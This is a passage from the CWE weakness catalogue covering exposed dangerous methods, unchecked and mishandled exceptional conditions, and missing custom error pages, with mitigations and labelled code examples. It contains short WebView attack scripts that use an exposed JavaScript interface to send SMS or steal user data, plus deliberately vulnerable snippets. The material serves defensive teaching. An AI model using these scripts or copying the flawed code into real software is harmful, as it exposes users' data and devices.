ParentOf	V	618	Exposed Unsafe ActiveX Method	1389
ParentOf	V	782	Exposed IOCTL with Insufficient Access Control	1657

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1228	API / Function Errors	2503

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Integrity	Gain Privileges or Assume Identity	
Confidentiality	Read Application Data	
Availability	Modify Application Data	
Access Control	Execute Unauthorized Code or Commands	
Other	Other	
<p><i>Exposing critical functionality essentially provides an attacker with the privilege level of the exposed functionality. This could result in the modification or exposure of sensitive data or possibly even execution of arbitrary code.</i></p>		

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input)

with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

If you must expose a method, make sure to perform input validation on all arguments, limit access to authorized parties, and protect against all possible vulnerabilities.

Phase: Architecture and Design

Phase: Implementation

Strategy = Attack Surface Reduction

Identify all exposed functionality. Explicitly list all functionality that must be exposed to some user or set of users. Identify which functionality may be: accessible to all users restricted to a small set of privileged users prevented from being directly accessible at all. Ensure that the implemented code follows these expectations. This includes setting the appropriate access modifiers where applicable (public, private, protected, etc.) or not marking ActiveX controls safe-for-scripting.

Demonstrative Examples

Example 1:

In the following Java example the method `removeDatabase` will delete the database with the name specified in the input parameter.

Example Language: Java

(Bad)

```
public void removeDatabase(String databaseName) {
    try {
        Statement stmt = conn.createStatement();
        stmt.execute("DROP DATABASE " + databaseName);
    } catch (SQLException ex) {...}
}
```

The method in this example is declared public and therefore is exposed to any class in the application. Deleting a database should be considered a critical operation within an application and access to this potentially dangerous method should be restricted. Within Java this can be accomplished simply by declaring the method private thereby exposing it only to the enclosing class as in the following example.

Example Language: Java

(Good)

```
private void removeDatabase(String databaseName) {
    try {
        Statement stmt = conn.createStatement();
        stmt.execute("DROP DATABASE " + databaseName);
    } catch (SQLException ex) {...}
}
```

Example 2:

These Android and iOS applications intercept URL loading within a `WebView` and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the `WebView` to communicate with the application:

Example Language: Java

(Bad)

```
// Android
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url){
```



```

if (url.substring(0,14).equalsIgnoreCase("examplescheme:")){
    if(url.substring(14,25).equalsIgnoreCase("getUserInfo")){
        writeToView(view, UserData);
        return false;
    }
    else{
        return true;
    }
}
}

```

Example Language: Objective-C

(Bad)

```

// iOS
-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest navigationType:
(UIWebViewNavigationType)exNavigationType
{
    NSURL *URL = [exRequest URL];
    if ([URL scheme] isEqualToString:@"exampleScheme"])
    {
        NSString *functionString = [URL resourceSpecifier];
        if ([functionString hasPrefix:@"specialFunction"])
        {
            // Make data available back in webview.
            UIWebView *webView = [self writeToView:[URL query]];
        }
        return NO;
    }
    return YES;
}

```

A call into native code can then be initiated by passing parameters within the URL:

Example Language: JavaScript

(Attack)

```

window.location = examplescheme://method?parameter=value

```

Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site.

Example 3:

This application uses a WebView to display websites, and creates a Javascript interface to a Java object to allow enhanced functionality on a trusted website:

Example Language: Java

(Bad)

```

public class WebViewGUI extends Activity {
    WebView mainWebView;
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        mainWebView = new WebView(this);
        mainWebView.getSettings().setJavaScriptEnabled(true);
        mainWebView.addJavascriptInterface(new JavaScriptInterface(), "userInfoObject");
        mainWebView.loadUrl("file:///android_asset/www/index.html");
        setContentView(mainWebView);
    }
    final class JavaScriptInterface {
        JavaScriptInterface () {}
        public String getUserInfo() {
            return currentUser.info();
        }
    }
}

```

Before Android 4.2 all methods, including inherited ones, are exposed to Javascript when using `addJavascriptInterface()`. This means that a malicious website loaded within this `WebView` can use reflection to acquire a reference to arbitrary Java objects. This will allow the website code to perform any action the parent application is authorized to.

For example, if the application has permission to send text messages:

Example Language: JavaScript

(Attack)

```
<script>
  userInfoObject.getClass().forName('android.telephony.SmsManager').getMethod('getDefault',null).sendTextMessage(attackNumber,
  null, attackMessage, null, null);
</script>
```

This malicious script can use the `userInfoObject` object to load the `SmsManager` object and send arbitrary text messages to any recipient.

Example 4:

After Android 4.2, only methods annotated with `@JavascriptInterface` are available in JavaScript, protecting usage of `getClass()` by default, as in this example:

Example Language: Java

(Bad)

```
final class JavaScriptInterface {
  JavaScriptInterface () {}
  @JavascriptInterface
  public String getUserInfo() {
    return currentUser.info();
  }
}
```

This code is not vulnerable to the above attack, but still may expose user info to malicious pages loaded in the `WebView`. Even malicious iframes loaded within a trusted page may access the exposed interface:

Example Language: JavaScript

(Attack)

```
<script>
  var info = window.userInfoObject.getUserInfo();
  sendUserInfo(info);
</script>
```



This malicious code within an `iframe` is able to access the interface object and steal the user's data.

Observed Examples

Reference	Description
CVE-2007-6382	arbitrary Java code execution via exposed method https://www.cve.org/CVERecord?id=CVE-2007-6382
CVE-2007-1112	security tool ActiveX control allows download or upload of files https://www.cve.org/CVERecord?id=CVE-2007-1112

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		808	2010 Top 25 - Weaknesses On the Cusp	800	2376
MemberOf		975	SFP Secondary Cluster: Architecture	888	2427

Nature	Type	ID	Name	V	Page
MemberOf		1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2566

Notes

Research Gap

Under-reported and under-studied. This weakness could appear in any technology, language, or framework that allows the programmer to provide a functional interface to external parties, but it is not heavily reported. In 2007, CVE began showing a notable increase in reports of exposed method vulnerabilities in ActiveX applications, as well as IOCTL access to OS-level resources. These weaknesses have been documented for Java applications in various secure programming sources, but there are few reports in CVE, which suggests limited awareness in most parts of the vulnerability research community.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
500	WebView Injection

References

[REF-503]Microsoft. "Developing Secure ActiveX Controls". 2005 April 3. < [https://learn.microsoft.com/en-us/previous-versions/ms533046\(v=vs.85\)?redirectedfrom=MSDN](https://learn.microsoft.com/en-us/previous-versions/ms533046(v=vs.85)?redirectedfrom=MSDN) >.2023-04-07.

[REF-510]Microsoft. "How to stop an ActiveX control from running in Internet Explorer". < <https://support.microsoft.com/en-us/help/240797/how-to-stop-an-activex-control-from-running-in-internet-explorer> >.2023-04-07.

CWE-754: Improper Check for Unusual or Exceptional Conditions

Weakness ID : 754

Structure : Simple

Abstraction : Class

Description

The product does not check or incorrectly checks for unusual or exceptional conditions that are not expected to occur frequently during day to day operation of the product.

Extended Description

The programmer may assume that certain events or conditions will never occur or do not need to be worried about, such as low memory conditions, lack of access to resources due to restrictive permissions, or misbehaving clients or components. However, attackers may intentionally trigger these unusual conditions, thus violating the programmer's assumptions, possibly introducing instability, incorrect behavior, or a vulnerability.

Note that this entry is not exclusively about the use of exceptions and exception handling, which are mechanisms for both checking and handling unusual or unexpected conditions.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	703	Improper Check or Handling of Exceptional Conditions	1544
ParentOf	B	252	Unchecked Return Value	613
ParentOf	B	253	Incorrect Check of Function Return Value	620
ParentOf	B	273	Improper Check for Dropped Privileges	667
ParentOf	B	354	Improper Validation of Integrity Check Value	883
ParentOf	B	391	Unchecked Error Condition	955
ParentOf	B	394	Unexpected Status Code or Return Value	962
ParentOf	B	476	NULL Pointer Dereference	1139
CanPrecede	V	416	Use After Free	1019

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	B	252	Unchecked Return Value	613
ParentOf	B	273	Improper Check for Dropped Privileges	667
ParentOf	B	476	NULL Pointer Dereference	1139

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1012	Cross Cutting	2448

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Background Details

Many functions will return some value about the success of their actions. This will alert the program whether or not to handle any errors caused by that function.

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Integrity Availability	DoS: Crash, Exit, or Restart Unexpected State <i>The data which were produced as a result of a function call could be in a bad state upon return. If the return value is not checked, then this bad data may be used in operations, possibly leading to a crash or other unintended behaviors.</i>	

Detection Methods

Automated Static Analysis

Automated static analysis may be useful for detecting unusual conditions involving system resources or common programming idioms, but not for violations of business rules.

Effectiveness = Moderate

Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's

environment, it may still indicate unexpected conditions that were not handled by the application itself.

Potential Mitigations

Phase: Requirements

Strategy = Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Choose languages with features such as exception handling that force the programmer to anticipate unusual conditions that may generate exceptions. Custom exceptions may need to be developed to handle unusual business-logic conditions. Be careful not to pass sensitive exceptions back to the user (CWE-209, CWE-248).

Phase: Implementation

Check the results of all functions that return a value and verify that the value is expected.

Effectiveness = High

Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment.

Phase: Implementation

If using exception handling, catch and throw specific exceptions instead of overly-general exceptions (CWE-396, CWE-397). Catch and handle exceptions as locally as possible so that exceptions do not propagate too far up the call stack (CWE-705). Avoid unchecked or uncaught exceptions where feasible (CWE-248).

Effectiveness = High

Using specific exceptions, and ensuring that exceptions are checked, helps programmers to anticipate and appropriately handle many unusual events that could occur.

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. Exposing additional information to a potential attacker in the context of an exceptional condition can help the attacker determine what attack vectors are most likely to succeed beyond DoS.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended

validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Architecture and Design

Phase: Implementation

If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.

Phase: Architecture and Design

Use system limits, which should help to prevent resource exhaustion. However, the product should still handle low resource conditions since they may still occur.

Demonstrative Examples

Example 1:

Consider the following code segment:

Example Language: C

(Bad)

```
char buf[10], cp_buf[10];
fgets(buf, 10, stdin);
strcpy(cp_buf, buf);
```

The programmer expects that when `fgets()` returns, `buf` will contain a null-terminated string of length 9 or less. But if an I/O error occurs, `fgets()` will not null-terminate `buf`. Furthermore, if the end of the file is reached before any characters are read, `fgets()` returns without writing anything to `buf`. In both of these situations, `fgets()` signals that something unusual has happened by returning `NULL`, but in this code, the warning will not be noticed. The lack of a null terminator in `buf` can result in a buffer overflow in the subsequent call to `strcpy()`.

Example 2:

The following code does not check to see if memory allocation succeeded before attempting to use the pointer returned by `malloc()`.

Example Language: C

(Bad)

```
buf = (char*) malloc(req_size);
strcpy(buf, xfer, req_size);
```

The traditional defense of this coding error is: "If my program runs out of memory, it will fail. It doesn't matter whether I handle the error or simply allow the program to die with a segmentation fault when it tries to dereference the null pointer." This argument ignores three important considerations:

- Depending upon the type and size of the application, it may be possible to free memory that is being used elsewhere so that execution can continue.
- It is impossible for the program to perform a graceful exit if required. If the program is performing an atomic operation, it can leave the system in an inconsistent state.
- The programmer has lost the opportunity to record diagnostic information. Did the call to `malloc()` fail because `req_size` was too large or because there were too many requests being handled at the same time? Or was it caused by a memory leak that has built up over time? Without handling the error, there is no way to know.

Example 3:

The following examples read a file into a byte array.

Example Language: C#

(Bad)

```
char[] byteArray = new char[1024];
for (IEnumerator i=users.GetEnumerator(); i.MoveNext(); i.Current()) {
    String userName = (String) i.Current();
    String pFileName = PFILE_ROOT + "/" + userName;
    StreamReader sr = new StreamReader(pFileName);
    sr.Read(byteArray,0,1024);//the file is always 1k bytes
    sr.Close();
    processPFile(userName, byteArray);
}
```

Example Language: Java

(Bad)

```
FileInputStream fis;
byte[] byteArray = new byte[1024];
for (Iterator i=users.iterator(); i.hasNext();) {
    String userName = (String) i.next();
    String pFileName = PFILE_ROOT + "/" + userName;
    FileInputStream fis = new FileInputStream(pFileName);
    fis.read(byteArray); // the file is always 1k bytes
    fis.close();
    processPFile(userName, byteArray);
}
```

The code loops through a set of users, reading a private data file for each user. The programmer assumes that the files are always 1 kilobyte in size and therefore ignores the return value from Read(). If an attacker can create a smaller file, the program will recycle the remainder of the data from the previous user and treat it as though it belongs to the attacker.

Example 4:

The following code does not check to see if the string returned by getParameter() is null before calling the member function compareTo(), potentially causing a NULL dereference.

Example Language: Java

(Bad)

```
String itemName = request.getParameter(ITEM_NAME);
if (itemName.compareTo(IMPORTANT_ITEM) == 0) {
    ...
}
...
```

The following code does not check to see if the string returned by the Item property is null before calling the member function Equals(), potentially causing a NULL dereference.

Example Language: Java

(Bad)

```
String itemName = request.Item(ITEM_NAME);
if (itemName.Equals(IMPORTANT_ITEM)) {
    ...
}
...
```

The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or simply allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.

Example 5:

The following code shows a system property that is set to null and later dereferenced by a programmer who mistakenly assumes it will always be defined.

Example Language: Java

(Bad)

```
System.clearProperty("os.name");
...
String os = System.getProperty("os.name");
if (os.equalsIgnoreCase("Windows 95")) System.out.println("Not supported");
```

The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or simply allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.

Example 6:

The following VB.NET code does not check to make sure that it has read 50 bytes from myfile.txt. This can cause DoDangerousOperation() to operate on an unexpected value.

Example Language: C#

(Bad)

```
Dim MyFile As New FileStream("myfile.txt", FileMode.Open, FileAccess.Read, FileShare.Read)
Dim MyArray(50) As Byte
MyFile.Read(MyArray, 0, 50)
DoDangerousOperation(MyArray(20))
```

In .NET, it is not uncommon for programmers to misunderstand Read() and related methods that are part of many System.IO classes. The stream and reader classes do not consider it to be unusual or exceptional if only a small amount of data becomes available. These classes simply add the small amount of data to the return buffer, and set the return value to the number of bytes or characters read. There is no guarantee that the amount of data returned is equal to the amount of data requested.

Example 7:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

Example Language: C

(Bad)

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to gethostbyaddr() will return NULL. Since the code does not check the return value from gethostbyaddr (CWE-252), a NULL pointer dereference (CWE-476) would then occur in the call to strcpy().

Note that this code is also vulnerable to a buffer overflow (CWE-119).

Example 8:

In the following C/C++ example the method `outputStringToFile` opens a file in the local filesystem and outputs a string to the file. The input parameters `output` and `filename` contain the string to output to the file and the name of the file respectively.

Example Language: C++

(Bad)

```
int outputStringToFile(char *output, char *filename) {
    openFileToWrite(filename);
    writeToFile(output);
    closeFile(filename);
}
```

However, this code does not check the return values of the methods `openFileToWrite`, `writeToFile`, `closeFile` to verify that the file was properly opened and closed and that the string was successfully written to the file. The return values for these methods should be checked to determine if the method was successful and allow for detection of errors or unexpected conditions as in the following example.

Example Language: C++

(Good)

```
int outputStringToFile(char *output, char *filename) {
    int isOutput = SUCCESS;
    int isOpen = openFileToWrite(filename);
    if (isOpen == FAIL) {
        printf("Unable to open file %s", filename);
        isOutput = FAIL;
    }
    else {
        int isWrite = writeToFile(output);
        if (isWrite == FAIL) {
            printf("Unable to write to file %s", filename);
            isOutput = FAIL;
        }
        int isClose = closeFile(filename);
        if (isClose == FAIL)
            isOutput = FAIL;
    }
    return isOutput;
}
```

Example 9:

In the following Java example the method `readFromFile` uses a `FileReader` object to read the contents of a file. The `FileReader` object is created using the `File` object `readFile`, the `readFile` object is initialized using the `setInputFile` method. The `setInputFile` method should be called before calling the `readFromFile` method.

Example Language: Java

(Bad)

```
private File readFile = null;
public void setInputFile(String inputFile) {
    // create readFile File object from string containing name of file
}
public void readFromFile() {
    try {
        reader = new FileReader(readFile);
        // read input file
    } catch (FileNotFoundException ex) {...}
}
```

However, the `readFromFile` method does not check to see if the `readFile` object is null, i.e. has not been initialized, before creating the `FileReader` object and reading from the input file. The

readFromFile method should verify whether the readFile object is null and output an error message and raise an exception if the readFile object is null, as in the following code.

Example Language: Java

(Good)

```
private File readFile = null;
public void setInputFile(String inputFile) {
    // create readFile File object from string containing name of file
}
public void readFromFile() {
    try {
        if (readFile == null) {
            System.err.println("Input file has not been set, call setInputFile method before calling openInputFile");
            throw NullPointerException;
        }
        reader = new FileReader(readFile);
        // read input file
    } catch (FileNotFoundException ex) {...}
    catch (NullPointerException ex) {...}
}
```




Observed Examples

Reference	Description
CVE-2023-49286	Chain: function in web caching proxy does not correctly check a return value (CWE-253) leading to a reachable assertion (CWE-617) https://www.cve.org/CVERecord?id=CVE-2023-49286
CVE-2007-3798	Unchecked return value leads to resultant integer overflow and code execution. https://www.cve.org/CVERecord?id=CVE-2007-3798
CVE-2006-4447	Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail. https://www.cve.org/CVERecord?id=CVE-2006-4447
CVE-2006-2916	Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail. https://www.cve.org/CVERecord?id=CVE-2006-2916

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	2367
MemberOf	C	802	2010 Top 25 - Risky Resource Management	800	2375
MemberOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	2393
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	2398
MemberOf	C	880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)	868	2400
MemberOf	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	2421
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2597
MemberOf	C	1141	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)	1133	2469

Nature	Type	ID	Name	V	Page
MemberOf		1181	SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP)	1178	2487
MemberOf		1364	ICS Communications: Zone Boundary Failures	1358	2522
MemberOf		1405	Comprehensive Categorization: Improper Check or Handling of Exceptional Conditions	1400	2552

Notes

Relationship

Sometimes, when a return value can be used to indicate an error, an unchecked return value is a code-layer instance of a missing application-layer check for exceptional conditions. However, return values are not always needed to communicate exceptional conditions. For example, expiration of resources, values passed by reference, asynchronously modified data, sockets, etc. may indicate exceptional conditions without the use of a return value.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
SEI CERT Perl Coding Standard	EXP31-PL	CWE More Abstract	Do not suppress or ignore exceptions
ISA/IEC 62443	Part 4-2		Req CR 3.5
ISA/IEC 62443	Part 4-2		Req CR 3.7

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-622]Frank Kim. "Top 25 Series - Rank 15 - Improper Check for Unusual or Exceptional Conditions". 2010 March 5. SANS Software Security Institute. < <https://www.sans.org/blog/top-25-series-rank-15-improper-check-for-unusual-or-exceptional-conditions/> >.2023-04-07.

CWE-755: Improper Handling of Exceptional Conditions

Weakness ID : 755

Structure : Simple

Abstraction : Class



Description













The product does not handle or incorrectly handles an exceptional condition.

Relationships


The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		703	Improper Check or Handling of Exceptional Conditions	1544
ParentOf		209	Generation of Error Message Containing Sensitive Information	540

Nature	Type	ID	Name	Page
ParentOf		248	Uncaught Exception	603
ParentOf		274	Improper Handling of Insufficient Privileges	670
ParentOf		280	Improper Handling of Insufficient Permissions or Privileges	679
ParentOf		333	Improper Handling of Insufficient Entropy in TRNG	832
ParentOf		390	Detection of Error Condition Without Action	950
ParentOf		392	Missing Report of Error Condition	958
ParentOf		395	Use of NullPointerException Catch to Detect NULL Pointer Dereference	964
ParentOf		396	Declaration of Catch for Generic Exception	966
ParentOf		460	Improper Cleanup on Thrown Exception	1109
ParentOf		544	Missing Standardized Error Handling Mechanism	1265
ParentOf		636	Not Failing Securely ('Failing Open')	1409
ParentOf		756	Missing Custom Error Page	1588

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1020	Verify Message Integrity	2455

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Other	Other	

Demonstrative Examples

Example 1:

The following example attempts to resolve a hostname.

Example Language: Java

(Bad)

```
protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException {
    String ip = req.getRemoteAddr();
    InetAddress addr = InetAddress.getByName(ip);
    ...
    out.println("hello " + addr.getHostName());
}
```

A DNS lookup failure will cause the Servlet to throw an exception.

Example 2:

The following example attempts to allocate memory for a character. After the call to malloc, an if statement is used to check whether the malloc function failed.

Example Language: C

(Bad)

```
foo=malloc(sizeof(char)); //the next line checks to see if malloc failed
if (foo==NULL) {
    //We do nothing so we just ignore the error.
}
```

The conditional successfully detects a NULL return value from malloc indicating a failure, however it does not do anything to handle the problem. Unhandled errors may have unexpected results and may cause the program to crash or terminate.

Instead, the if block should contain statements that either attempt to fix the problem or notify the user that an error has occurred and continue processing or perform some cleanup and gracefully terminate the program. The following example notifies the user that the malloc function did not allocate the required memory resources and returns an error code.

Example Language: C

(Good)

```
foo=malloc(sizeof(char)); //the next line checks to see if malloc failed
if (foo==NULL) {
    printf("Malloc failed to allocate memory resources");
    return -1;
}
```

Example 3:

The following code mistakenly catches a NullPointerException.

Example Language: Java

(Bad)




```
try {
    mysteryMethod();
} catch (NullPointerException npe) {
}
```

Observed Examples

Reference	Description
CVE-2023-41151	SDK for OPC Unified Architecture (OPC UA) server has uncaught exception when a socket is blocked for writing but the server tries to send an error https://www.cve.org/CVERecord?id=CVE-2023-41151
[REF-1374]	Chain: JavaScript-based cryptocurrency library can fall back to the insecure Math.random() function instead of reporting a failure (CWE-392), thus reducing the entropy (CWE-332) and leading to generation of non-unique cryptographic keys for Bitcoin wallets (CWE-1391) https://www.unciphered.com/blog/randstorm-you-cant-patch-a-house-of-cards
CVE-2021-3011	virtual interrupt controller in a virtualization product allows crash of host by writing a certain invalid value to a register, which triggers a fatal error instead of returning an error code https://www.cve.org/CVERecord?id=CVE-2021-3011
CVE-2008-4302	Chain: OS kernel does not properly handle a failure of a function call (CWE-755), leading to an unlock of a resource that was not locked (CWE-832), with resultant crash. https://www.cve.org/CVERecord?id=CVE-2008-4302

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)	868	2400
MemberOf		962	SFP Secondary Cluster: Unchecked Status Condition	888	2421
MemberOf		1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2597

Nature	Type	ID	Name	V	Page
MemberOf	C	1405	Comprehensive Categorization: Improper Check or Handling of Exceptional Conditions	1400	2552

References

[REF-1374]Unciphered. "Randstorm: You Can't Patch a House of Cards". 2023 November 4. <
<https://www.unciphered.com/blog/randstorm-you-cant-patch-a-house-of-cards> >.2023-11-15.

CWE-756: Missing Custom Error Page

Weakness ID : 756

Structure : Simple

Abstraction : Base

Description

The product does not return custom error pages to the user, possibly exposing sensitive information.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	755	Improper Handling of Exceptional Conditions	1585
ParentOf	V	7	J2EE Misconfiguration: Missing Custom Error Page	4
ParentOf	V	12	ASP.NET Misconfiguration: Missing Custom Error Page	11
CanPrecede	B	209	Generation of Error Message Containing Sensitive Information	540

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	389	Error Conditions, Return Values, Status Codes	2344

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data <i>Attackers can leverage the additional information provided by a default error page to mount attacks targeted on the framework, database, or other resources used by the application.</i>	

Demonstrative Examples

Example 1:

In the snippet below, an unchecked runtime exception thrown from within the try block may cause the container to display its default error page (which may contain a full stack trace, among other things).

Example Language: Java

(Bad)

```
Public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    try {
        ...
    }
}
```



```

    } catch (ApplicationSpecificException ase) {
        logger.error("Caught: " + ase.toString());
    }
}

```

Example 2:

The mode attribute of the <customErrors> tag in the Web.config file defines whether custom or default error pages are used.

In the following insecure ASP.NET application setting, custom error message mode is turned off. An ASP.NET error message with detailed stack trace and platform versions will be returned.

Example Language: ASP.NET

(Bad)

```
<customErrors mode="Off" />
```

A more secure setting is to set the custom error message mode for remote users only. No defaultRedirect error page is specified. The local user on the web server will see a detailed stack trace. For remote users, an ASP.NET error message with the server customError configuration setting and the platform version will be returned.

Example Language: ASP.NET

(Good)

```
<customErrors mode="RemoteOnly" />
```

Another secure option is to set the mode attribute of the <customErrors> tag to use a custom page as follows:

Example Language: ASP.NET

(Good)

```
<customErrors mode="On" defaultRedirect="YourErrorPage.htm" />
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2588
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2421
MemberOf	C	1349	OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration	1344	2514
MemberOf	C	1405	Comprehensive Categorization: Improper Check or Handling of Exceptional Conditions	1400	2552

CWE-757: Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')

Weakness ID : 757

Structure : Simple

Abstraction : Base

Description

A protocol or its implementation supports interaction between multiple actors and allows those actors to negotiate which algorithm should be used as a protection mechanism such as encryption or authentication, but it does not select the strongest algorithm that is available to both parties.



Extended Description

When a security mechanism can be forced to downgrade to use a less secure algorithm, this can make it easier for attackers to compromise the product by exploiting weaker algorithm. The victim might not be aware that the less secure algorithm is being used. For example, if an attacker can force a communications channel to use cleartext instead of strongly-encrypted data, then the attacker could read the channel by sniffing, instead of going through extra effort of trying to decrypt the data using brute force techniques.

Relationships

